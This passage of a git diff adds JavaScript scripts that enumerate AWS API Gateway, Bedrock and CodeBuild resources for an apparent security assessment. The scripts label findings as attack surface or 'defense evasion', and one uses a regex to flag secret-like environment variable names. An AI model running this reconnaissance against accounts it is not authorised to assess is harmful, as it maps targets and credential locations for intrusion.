"@smithy/config-resolver": "^4.4.16", + "@smithy/credential-provider-imds": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-endpoints": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.4.1.tgz", + "integrity": "sha512-wMxNDZJrgS5mQV9oxCs4TWl5767VMgOfqfZ3JHyCkMtGC2ykW9iPqMvFur695Otcc5yxLG8OKO/80tsQBxrhXg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-hex-encoding": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-hex-encoding/-/util-hex-encoding-4.2.2.tgz", + "integrity": "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-middleware": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.14.tgz", + "integrity": "sha512-1Su2vj9RYNDEv/V+2E+jXkkwGsgR7dc4sfHn9Z7ruzQHJIEni9zzw5CauvRXlFJfmgcqYP8fWa0dkh2Q2YaQyw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-retry": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.3.2.tgz", + "integrity": "sha512-2+KTsJEwTi63NUv4uR9IQ+IFT1yu6Rf6JuoBK2WKaaJ/TRvOiOVGcXAsEqX/TQN2thR9yII21kPUJq1UV/WI2A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/service-error-classification": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-stream": { + "version": "4.5.23", + "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.23.tgz", + "integrity": "sha512-N6on1+ngJ3RznZOnDWNveIwnTSlqxNnXuNAh7ez889ZZaRdXoNRTXKgmYOLe6dB0gCmAVtuRScE1hymQFl4hpg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-buffer-from": "^4.2.2", + "@smithy/util-hex-encoding": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-uri-escape": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-uri-escape/-/util-uri-escape-4.2.2.tgz", + "integrity": "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-utf8": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.2.tgz", + "integrity": "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-waiter": { + "version": "4.2.16", + "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-4.2.16.tgz", + "integrity": "sha512-GtclrKoZ3Lt7jPQ7aTIYKfjY92OgceScftVnkTsG8e1KV8rkvZgN+ny6YSRhd9hxB8rZtwVbmln7NTvE5O3GmQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/uuid": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@smithy/uuid/-/uuid-1.1.2.tgz", + "integrity": "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/bowser": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", + "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", + "license": "MIT" + }, + "node_modules/fast-xml-builder": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.1.5.tgz", + "integrity": "sha512-4TJn/8FKLeslLAH3dnohXqE3QSoxkhvaMzepOIZytwJXZO69Bfz0HBdDHzOTOon6G59Zrk6VQ2bEiv1t61rfkA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "path-expression-matcher": "^1.1.3" + } + }, + "node_modules/fast-xml-parser": { + "version": "5.5.8", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.5.8.tgz", + "integrity": "sha512-Z7Fh2nVQSb2d+poDViM063ix2ZGt9jmY1nWhPfHBOK2Hgnb/OW3P4Et3P/81SEej0J7QbWtJqxO05h8QYfK7LQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "fast-xml-builder": "^1.1.4", + "path-expression-matcher": "^1.2.0", + "strnum": "^2.2.0" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, + "node_modules/mnemonist": { + "version": "0.38.3", + "resolved": "https://registry.npmjs.org/mnemonist/-/mnemonist-0.38.3.tgz", + "integrity": "sha512-2K9QYubXx/NAjv4VLq1d1Ly8pWNC5L3BrixtdkyTegXWJIqY+zLNDhhX/A+ZwWt70tB1S8H4BE8FLYEFyNoOBw==", + "license": "MIT", + "dependencies": { + "obliterator": "^1.6.1" + } + }, + "node_modules/obliterator": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/obliterator/-/obliterator-1.6.1.tgz", + "integrity": "sha512-9WXswnqINnnhOG/5SLimUlzuU1hFJUc8zkwyD59Sd+dPOMf05PmnYG/d6Q7HZ+KmgkZJa1PxRso6QdM3sTNHig==", + "license": "MIT" + }, + "node_modules/path-expression-matcher": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", + "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/strnum": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.2.3.tgz", + "integrity": "sha512-oKx6RUCuHfT3oyVjtnrmn19H1SiCqgJSg+54XqURKp5aCMbrXrhLjRN9TjuwMjiYstZ0MzDrHqkGZ5dFTKd+zg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..81d21ce --- /dev/null +++ b/package.json @@ -0,0 +1,38 @@ +{ + "name": "scope-scripts", + "version": "1.14.0", + "private": true, + "description": "SCOPE SDK enumeration scripts and utilities", + "engines": { + "node": ">=18.0.0" + }, + "scripts": { + "test": "node test/run-all.js" + }, + "dependencies": { + "@aws-sdk/client-account": "3.1032.0", + "@aws-sdk/client-api-gateway": "3.1032.0", + "@aws-sdk/client-apigatewayv2": "3.1032.0", + "@aws-sdk/client-bedrock": "3.1032.0", + "@aws-sdk/client-bedrock-agent": "3.1032.0", + "@aws-sdk/client-codebuild": "3.1032.0", + "@aws-sdk/client-cognito-identity": "3.1032.0", + "@aws-sdk/client-cognito-identity-provider": "3.1032.0", + "@aws-sdk/client-dynamodb": "3.1032.0", + "@aws-sdk/client-ec2": "3.1032.0", + "@aws-sdk/client-ecs": "3.1032.0", + "@aws-sdk/client-elastic-load-balancing": "3.1032.0", + "@aws-sdk/client-elastic-load-balancing-v2": "3.1032.0", + "@aws-sdk/client-iam": "3.1032.0", + "@aws-sdk/client-kms": "3.1032.0", + "@aws-sdk/client-lambda": "3.1032.0", + "@aws-sdk/client-organizations": "3.1032.0", + "@aws-sdk/client-rds": "3.1032.0", + "@aws-sdk/client-s3": "3.1032.0", + "@aws-sdk/client-secrets-manager": "3.1032.0", + "@aws-sdk/client-sns": "3.1032.0", + "@aws-sdk/client-sqs": "3.1032.0", + "@aws-sdk/client-ssm": "3.1032.0", + "@aws-sdk/client-sts": "3.1032.0" + } +} diff --git a/scripts/enum/.gitkeep b/scripts/enum/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/scripts/enum/apigateway.js b/scripts/enum/apigateway.js new file mode 100644 index 0000000..aa0641f --- /dev/null +++ b/scripts/enum/apigateway.js @@ -0,0 +1,292 @@ +'use strict'; + +const { + APIGatewayClient, + GetRestApisCommand, + GetAuthorizersCommand: GetRestAuthorizersCommand, + GetStagesCommand: GetRestStagesCommand, + GetResourcesCommand, +} = require('@aws-sdk/client-api-gateway'); + +const { + ApiGatewayV2Client, + GetApisCommand, + GetAuthorizersCommand: GetV2AuthorizersCommand, + GetStagesCommand: GetV2StagesCommand, + GetIntegrationsCommand, +} = require('@aws-sdk/client-apigatewayv2'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Helpers --- + +/** + * Extracts Lambda integration ARNs from REST API resources or V2 integrations. + */ +function extractLambdaIntegrations(integrations) { + const lambdaArns = new Set(); + for (const integration of integrations) { + const uri = integration.IntegrationUri || integration.uri || ''; + // Lambda ARN pattern in integration URI + const match = uri.match(/arn:aws:lambda:[^:]+:\d+:function:[^/]+/); + if (match) { + lambdaArns.add(match[0]); + } + } + return [...lambdaArns]; +} + +/** + * Extracts Lambda integrations from REST API resources (methods → integrations). + */ +function extractRestLambdaIntegrations(resources) { + const lambdaArns = new Set(); + for (const resource of resources) { + const methods = resource.resourceMethods || {}; + for (const method of Object.values(methods)) { + const integration = method.methodIntegration; + if (!integration) continue; + const uri = integration.uri || ''; + const match = uri.match(/arn:aws:lambda:[^:]+:\d+:function:[^/]+/); + if (match) { + lambdaArns.add(match[0]); + } + } + } + return [...lambdaArns]; +} + +/** + * Parses resource policy from REST API (URL-encoded JSON). + */ +function parseResourcePolicy(policyStr) { + if (!policyStr) return null; + try { + const decoded = decodeURIComponent(policyStr); + JSON.parse(decoded); // validate it parses + return decoded; + } catch { + try { + JSON.parse(policyStr); + return policyStr; + } catch { + return null; + } + } +} + +// --- REST API Enumeration --- + +async function enumerateRestApis(client, region, logger) { + const findings = []; + const errors = []; + + // GetRestApis — paginated via position + let restApis; + try { + logger.log('api_call', 'GetRestApis', { region }); + restApis = await paginate(client, GetRestApisCommand, 'items', { + tokenKey: 'position', + responseTokenKey: 'position', + }); + } catch (err) { + logger.log('error', 'GetRestApis', { error: err.message }); + return { findings, errors: [{ resource: 'rest-apis', error: err.message }] }; + } + + for (const api of restApis) { + const apiId = api.id; + const apiName = api.name; + + try { + // GetAuthorizers + let authorizers = []; + try { + logger.log('api_call', 'GetAuthorizers', { apiId }); + const authResp = await withRetry(() => + client.send(new GetRestAuthorizersCommand({ restApiId: apiId })) + ); + authorizers = (authResp.items || []).map((a) => ({ + type: a.type || null, + name: a.name || null, + })); + } catch (err) { + errors.push({ resource: `${apiId}/authorizers`, error: err.message }); + logger.log('warning', 'GetAuthorizers', { apiId, error: err.message }); + } + + // GetStages + let stages = []; + try { + logger.log('api_call', 'GetStages', { apiId }); + const stageResp = await withRetry(() => + client.send(new GetRestStagesCommand({ restApiId: apiId })) + ); + stages = (stageResp.item || []).map((s) => s.stageName); + } catch (err) { + errors.push({ resource: `${apiId}/stages`, error: err.message }); + logger.log('warning', 'GetStages', { apiId, error: err.message }); + } + + // GetResources (paginated via position) + let resources = []; + try { + logger.log('api_call', 'GetResources', { apiId }); + resources = await paginate(client, GetResourcesCommand, 'items', { + params: { restApiId: apiId, embed: ['methods'] }, + tokenKey: 'position', + responseTokenKey: 'position', + }); + } catch (err) { + errors.push({ resource: `${apiId}/resources`, error: err.message }); + logger.log('warning', 'GetResources', { apiId, error: err.message }); + } + + const lambdaIntegrations = extractRestLambdaIntegrations(resources); + const resourcePolicy = parseResourcePolicy(api.policy); + + findings.push({ + resource_type: 'apigateway_rest_api', + resource_id: apiId, + arn: `arn:aws:apigateway:${region}::/restapis/${apiId}`, + region, + name: apiName, + api_type: 'REST', + authorizers, + stages, + lambda_integrations: lambdaIntegrations, + resource_policy: resourcePolicy, + findings: [], + }); + } catch (err) { + errors.push({ resource: apiId, error: err.message }); + logger.log('warning', 'RestApiDetail', { apiId, error: err.message }); + } + } + + return { findings, errors }; +} + +// --- HTTP/WebSocket API Enumeration --- + +async function enumerateV2Apis(client, region, logger) { + const findings = []; + const errors = []; + + // GetApis — paginated via NextToken + let apis; + try { + logger.log('api_call', 'GetApis', { region }); + apis = await paginate(client, GetApisCommand, 'Items', {}); + } catch (err) { + logger.log('error', 'GetApis', { error: err.message }); + return { findings, errors: [{ resource: 'v2-apis', error: err.message }] }; + } + + for (const api of apis) { + const apiId = api.ApiId; + const apiName = api.Name; + const protocolType = api.ProtocolType; // HTTP or WEBSOCKET + + const resourceType = protocolType === 'WEBSOCKET' + ? 'apigateway_websocket_api' + : 'apigateway_http_api'; + + try { + // GetAuthorizers (v2) + let authorizers = []; + try { + logger.log('api_call', 'GetAuthorizersV2', { apiId }); + const authResp = await withRetry(() => + client.send(new GetV2AuthorizersCommand({ ApiId: apiId })) + ); + authorizers = (authResp.Items || []).map((a) => ({ + type: a.AuthorizerType || null, + name: a.Name || null, + })); + } catch (err) { + errors.push({ resource: `${apiId}/authorizers`, error: err.message }); + logger.log('warning', 'GetAuthorizersV2', { apiId, error: err.message }); + } + + // GetStages (v2) + let stages = []; + try { + logger.log('api_call', 'GetStagesV2', { apiId }); + const stageResp = await withRetry(() => + client.send(new GetV2StagesCommand({ ApiId: apiId })) + ); + stages = (stageResp.Items || []).map((s) => s.StageName); + } catch (err) { + errors.push({ resource: `${apiId}/stages`, error: err.message }); + logger.log('warning', 'GetStagesV2', { apiId, error: err.message }); + } + + // GetIntegrations (v2) + let lambdaIntegrations = []; + try { + logger.log('api_call', 'GetIntegrations', { apiId }); + const intResp = await withRetry(() => + client.send(new GetIntegrationsCommand({ ApiId: apiId })) + ); + lambdaIntegrations = extractLambdaIntegrations(intResp.Items || []); + } catch (err) { + errors.push({ resource: `${apiId}/integrations`, error: err.message }); + logger.log('warning', 'GetIntegrations', { apiId, error: err.message }); + } + + findings.push({ + resource_type: resourceType, + resource_id: apiId, + arn: `arn:aws:apigateway:${region}::/apis/${apiId}`, + region, + name: apiName, + api_type: protocolType, + authorizers, + stages, + lambda_integrations: lambdaIntegrations, + resource_policy: null, // HTTP/WebSocket APIs do not have resource policies + findings: [], + }); + } catch (err) { + errors.push({ resource: apiId, error: err.message }); + logger.log('warning', 'V2ApiDetail', { apiId, error: err.message }); + } + } + + return { findings, errors }; +} + +// --- Run (exported for testing) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const logger = opts.logger || createLogger(runDir, 'apigateway'); + logger.log('info', 'APIGateway_Enumeration_Start', { region }); + + // Enumerate REST APIs (APIGatewayClient) + const restClient = opts.clients?.apigateway ?? new APIGatewayClient({ region }); + const restResult = await enumerateRestApis(restClient, region, logger); + + // Enumerate HTTP/WebSocket APIs (ApiGatewayV2Client) + const v2Client = opts.clients?.apigatewayV2 ?? new ApiGatewayV2Client({ region }); + const v2Result = await enumerateV2Apis(v2Client, region, logger); + + // Combine results + const findings = [...restResult.findings, ...v2Result.findings]; + const allErrors = [...restResult.errors, ...v2Result.errors]; + const status = allErrors.length > 0 ? 'partial' : 'complete'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'apigateway', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/bedrock.js b/scripts/enum/bedrock.js new file mode 100644 index 0000000..ebcf531 --- /dev/null +++ b/scripts/enum/bedrock.js @@ -0,0 +1,360 @@ +'use strict'; + +const { + BedrockClient, + ListFoundationModelsCommand, + ListCustomModelsCommand, + ListGuardrailsCommand, + GetModelInvocationLoggingConfigurationCommand, + ListProvisionedModelThroughputsCommand, +} = require('@aws-sdk/client-bedrock'); + +const { + BedrockAgentClient, + ListAgentsCommand, + GetAgentCommand, + ListKnowledgeBasesCommand, + GetKnowledgeBaseCommand, +} = require('@aws-sdk/client-bedrock-agent'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Region availability check --- + +function isRegionNotAvailableError(err) { + const code = err.name || err.Code || ''; + const message = (err.message || '').toLowerCase(); + return ( + code === 'UnrecognizedClientException' || + code === 'InvalidClientTokenId' || + code === 'EndpointNotFound' || + code === 'UnknownEndpoint' || + message.includes('not available in this region') || + message.includes('service is not available') || + message.includes('could not resolve endpoint') || + message.includes('is not supported in region') + ); +} + +// --- Enumeration functions --- + +async function enumerateFoundationModels(client, region, logger) { + logger.log('api_call', 'ListFoundationModels', {}); + const resp = await withRetry(() => client.send(new ListFoundationModelsCommand({}))); + const models = resp.modelSummaries || []; + return models.map((m) => ({ + resource_type: 'bedrock_model', + resource_id: m.modelId, + arn: m.modelArn || `arn:aws:bedrock:${region}::foundation-model/${m.modelId}`, + region, + model_name: m.modelName || null, + provider: m.providerName || null, + model_arn: m.modelArn || null, + input_modalities: m.inputModalities || [], + output_modalities: m.outputModalities || [], + customizations_supported: m.customizationsSupported || [], + inference_types: m.inferenceTypesSupported || [], + findings: [], + })); +} + +async function enumerateCustomModels(client, region, logger) { + logger.log('api_call', 'ListCustomModels', {}); + const models = await paginate(client, ListCustomModelsCommand, 'modelSummaries', {}); + return models.map((m) => ({ + resource_type: 'bedrock_custom_model', + resource_id: m.modelName || m.modelArn, + arn: m.modelArn || `arn:aws:bedrock:${region}:unknown:custom-model/${m.modelName}`, + region, + model_name: m.modelName || null, + model_arn: m.modelArn || null, + base_model_arn: m.baseModelArn || null, + creation_time: m.creationTime || null, + findings: [{ type: 'training_data_exposure', severity: 'medium', detail: 'Custom model — training data exposure risk' }], + })); +} + +async function enumerateAgents(agentClient, region, logger) { + logger.log('api_call', 'ListAgents', {}); + const agents = await paginate(agentClient, ListAgentsCommand, 'agentSummaries', {}); + const findings = []; + + for (const agent of agents) { + try { + logger.log('api_call', 'GetAgent', { agentId: agent.agentId }); + const resp = await withRetry(() => + agentClient.send(new GetAgentCommand({ agentId: agent.agentId })) + ); + const detail = resp.agent || {}; + findings.push({ + resource_type: 'bedrock_agent', + resource_id: detail.agentName || agent.agentId, + arn: detail.agentArn || `arn:aws:bedrock:${region}:unknown:agent/${agent.agentId}`, + region, + agent_id: agent.agentId, + agent_arn: detail.agentArn || null, + status: detail.agentStatus || agent.agentStatus || null, + execution_role_arn: detail.agentResourceRoleArn || null, + foundation_model: detail.foundationModel || null, + description: detail.description || null, + created_at: detail.createdAt || null, + updated_at: detail.updatedAt || null, + findings: detail.agentResourceRoleArn + ? [{ type: 'overpermissive_role', severity: 'high', detail: 'Agent execution role — IAM attack surface (often overpermissive)' }] + : [], + }); + } catch (err) { + logger.log('warning', 'GetAgent', { agentId: agent.agentId, error: err.message }); + findings.push({ + resource_type: 'bedrock_agent', + resource_id: agent.agentId, + arn: `arn:aws:bedrock:${region}:unknown:agent/${agent.agentId}`, + region, + agent_id: agent.agentId, + status: agent.agentStatus || null, + execution_role_arn: null, + findings: [], + }); + } + } + + return findings; +} + +async function enumerateKnowledgeBases(agentClient, region, logger) { + logger.log('api_call', 'ListKnowledgeBases', {}); + const kbs = await paginate(agentClient, ListKnowledgeBasesCommand, 'knowledgeBaseSummaries', {}); + const findings = []; + + for (const kb of kbs) { + try { + logger.log('api_call', 'GetKnowledgeBase', { knowledgeBaseId: kb.knowledgeBaseId }); + const resp = await withRetry(() => + agentClient.send(new GetKnowledgeBaseCommand({ knowledgeBaseId: kb.knowledgeBaseId })) + ); + const detail = resp.knowledgeBase || {}; + const storageConfig = detail.storageConfiguration || {}; + findings.push({ + resource_type: 'bedrock_knowledge_base', + resource_id: detail.name || kb.knowledgeBaseId, + arn: detail.knowledgeBaseArn || `arn:aws:bedrock:${region}:unknown:knowledge-base/${kb.knowledgeBaseId}`, + region, + knowledge_base_id: kb.knowledgeBaseId, + knowledge_base_arn: detail.knowledgeBaseArn || null, + status: detail.status || kb.status || null, + role_arn: detail.roleArn || null, + storage_type: storageConfig.type || null, + storage_configuration: storageConfig, + description: detail.description || null, + created_at: detail.createdAt || null, + updated_at: detail.updatedAt || null, + findings: [{ type: 'data_access_mapping', severity: 'medium', detail: 'Knowledge base data source — data access mapping' }], + }); + } catch (err) { + logger.log('warning', 'GetKnowledgeBase', { knowledgeBaseId: kb.knowledgeBaseId, error: err.message }); + findings.push({ + resource_type: 'bedrock_knowledge_base', + resource_id: kb.knowledgeBaseId, + arn: `arn:aws:bedrock:${region}:unknown:knowledge-base/${kb.knowledgeBaseId}`, + region, + knowledge_base_id: kb.knowledgeBaseId, + status: kb.status || null, + findings: [], + }); + } + } + + return findings; +} + +async function enumerateGuardrails(client, region, logger) { + logger.log('api_call', 'ListGuardrails', {}); + const guardrails = await paginate(client, ListGuardrailsCommand, 'guardrails', {}); + return guardrails.map((g) => ({ + resource_type: 'bedrock_guardrail', + resource_id: g.name || g.id, + arn: g.arn || `arn:aws:bedrock:${region}:unknown:guardrail/${g.id}`, + region, + guardrail_id: g.id || null, + guardrail_arn: g.arn || null, + name: g.name || null, + status: g.status || null, + version: g.version || null, + created_at: g.createdAt || null, + updated_at: g.updatedAt || null, + findings: [], + })); +} + +async function checkLoggingConfiguration(client, logger) { + logger.log('api_call', 'GetModelInvocationLoggingConfiguration', {}); + const resp = await withRetry(() => + client.send(new GetModelInvocationLoggingConfigurationCommand({})) + ); + const config = resp.loggingConfig || null; + const loggingEnabled = !!( + config && + (config.textDataDeliveryEnabled || + config.imageDataDeliveryEnabled || + config.embeddingDataDeliveryEnabled || + config.cloudWatchConfig?.logGroupName || + config.s3Config?.bucketName) + ); + + return { + logging_enabled: loggingEnabled, + logging_config: config, + finding: loggingEnabled + ? null + : 'Bedrock model invocation logging DISABLED — defense evasion vector (no evidence of queries)', + }; +} + +async function enumerateProvisionedThroughput(client, logger) { + logger.log('api_call', 'ListProvisionedModelThroughputs', {}); + const throughputs = await paginate( + client, + ListProvisionedModelThroughputsCommand, + 'provisionedModelSummaries', + {} + ); + return throughputs.map((t) => ({ + resource_id: t.provisionedModelName || t.provisionedModelArn, + provisioned_model_arn: t.provisionedModelArn || null, + model_arn: t.modelArn || null, + status: t.status || null, + commitment_duration: t.commitmentDuration || null, + commitment_expiration: t.commitmentExpirationTime || null, + created_at: t.creationTime || null, + })); +} + +// --- Run (exported for testing) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const logger = opts.logger || createLogger(runDir, 'bedrock'); + logger.log('info', 'Bedrock_Enumeration_Start', { region }); + + const bedrockClient = opts.clients?.bedrock ?? new BedrockClient({ region }); + const agentClient = opts.clients?.bedrockAgent ?? new BedrockAgentClient({ region }); + + let findings = []; + let status = 'complete'; + const partialErrors = []; + + try { + // Foundation models + try { + const models = await enumerateFoundationModels(bedrockClient, region, logger); + findings.push(...models); + } catch (err) { + if (isRegionNotAvailableError(err)) { + logger.log('info', 'Bedrock_NotAvailable', { region, error: err.message }); + await logger.flush(); + return { findings: [], status: 'complete' }; + } + throw err; + } + + // Custom models + try { + const customModels = await enumerateCustomModels(bedrockClient, region, logger); + findings.push(...customModels); + } catch (err) { + partialErrors.push({ resource: 'custom_models', error: err.message }); + logger.log('warning', 'ListCustomModels', { error: err.message }); + } + + // Agents + try { + const agents = await enumerateAgents(agentClient, region, logger); + findings.push(...agents); + } catch (err) { + partialErrors.push({ resource: 'agents', error: err.message }); + logger.log('warning', 'ListAgents', { error: err.message }); + } + + // Knowledge bases + try { + const kbs = await enumerateKnowledgeBases(agentClient, region, logger); + findings.push(...kbs); + } catch (err) { + partialErrors.push({ resource: 'knowledge_bases', error: err.message }); + logger.log('warning', 'ListKnowledgeBases', { error: err.message }); + } + + // Guardrails + try { + const guardrails = await enumerateGuardrails(bedrockClient, region, logger); + findings.push(...guardrails); + } catch (err) { + partialErrors.push({ resource: 'guardrails', error: err.message }); + logger.log('warning', 'ListGuardrails', { error: err.message }); + } + + // Logging configuration + try { + const loggingResult = await checkLoggingConfiguration(bedrockClient, logger); + if (loggingResult.finding) { + findings.push({ + resource_type: 'bedrock_logging', + resource_id: 'invocation_logging', + arn: `arn:aws:bedrock:${region}:unknown:logging/invocation_logging`, + region, + logging_enabled: loggingResult.logging_enabled, + logging_config: loggingResult.logging_config, + findings: [{ type: 'logging_disabled', severity: 'high', detail: loggingResult.finding }], + }); + } + } catch (err) { + partialErrors.push({ resource: 'logging_config', error: err.message }); + logger.log('warning', 'GetModelInvocationLoggingConfiguration', { error: err.message }); + } + + // Provisioned throughput + try { + const throughputs = await enumerateProvisionedThroughput(bedrockClient, logger); + if (throughputs.length > 0) { + findings.push({ + resource_type: 'bedrock_provisioned_throughput', + resource_id: 'provisioned_throughputs', + arn: `arn:aws:bedrock:${region}:${accountId || 'unknown'}:provisioned-throughput/summary`, + region, + provisioned_model_arn: null, + throughputs, + findings: [], + }); + } + } catch (err) { + partialErrors.push({ resource: 'provisioned_throughput', error: err.message }); + logger.log('warning', 'ListProvisionedModelThroughputs', { error: err.message }); + } + + } catch (err) { + if (isRegionNotAvailableError(err)) { + logger.log('info', 'Bedrock_NotAvailable', { region, error: err.message }); + await logger.flush(); + return { findings: [], status: 'complete' }; + } + logger.log('error', 'Bedrock_Fatal', { error: err.message }); + status = 'error'; + } + + if (partialErrors.length > 0 && status === 'complete') { + status = 'partial'; + } + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'bedrock', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/codebuild.js b/scripts/enum/codebuild.js new file mode 100644 index 0000000..74f274e --- /dev/null +++ b/scripts/enum/codebuild.js @@ -0,0 +1,158 @@ +'use strict'; + +const { + CodeBuildClient, + ListProjectsCommand, + BatchGetProjectsCommand, +} = require('@aws-sdk/client-codebuild'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Constants --- + +const SECRET_PATTERNS = /password|secret|token|key|credential|api.?key|auth/i; + +// --- Helpers --- + +/** + * Chunk an array into groups of a given size. + */ +function chunk(arr, size) { + const chunks = []; + for (let i = 0; i < arr.length; i += size) { + chunks.push(arr.slice(i, i + size)); + } + return chunks; +} + +// --- Exported run() for testing --- + +async function run(opts = {}) { + const { runDir, region } = opts; + const accountId = opts.accountId; + + if (!runDir || !region) { + throw new Error('runDir and region are required'); + } + + const codebuild = opts.clients?.codebuild ?? new CodeBuildClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'codebuild'); + logger.log('info', 'CodeBuild_Enumeration_Start', { region }); + + // List all project names (paginated) + logger.log('api_call', 'ListProjects', { service: 'codebuild' }); + let projectNames; + try { + projectNames = await paginate(codebuild, ListProjectsCommand, 'projects', { + tokenKey: 'nextToken', + responseTokenKey: 'nextToken', + }); + } catch (err) { + logger.log('error', 'ListProjects', { error: err.message }); + await logger.flush(); + throw new Error(`ListProjects failed: ${err.message}`); + } + + if (!projectNames || projectNames.length === 0) { + await logger.flush(); + return { findings: [], status: 'complete' }; + } + + // BatchGetProjects — up to 100 per call + const findings = []; + const errors = []; + const batches = chunk(projectNames, 100); + + for (const batch of batches) { + try { + logger.log('api_call', 'BatchGetProjects', { service: 'codebuild', count: batch.length }); + const resp = await withRetry(() => + codebuild.send(new BatchGetProjectsCommand({ names: batch })) + ); + + for (const project of resp.projects || []) { + // Extract env var NAMES only — NEVER include values + const envVars = project.environment?.environmentVariables || []; + const envVarNames = envVars.map((v) => v.name); + const secretPatternNames = envVarNames.filter((n) => 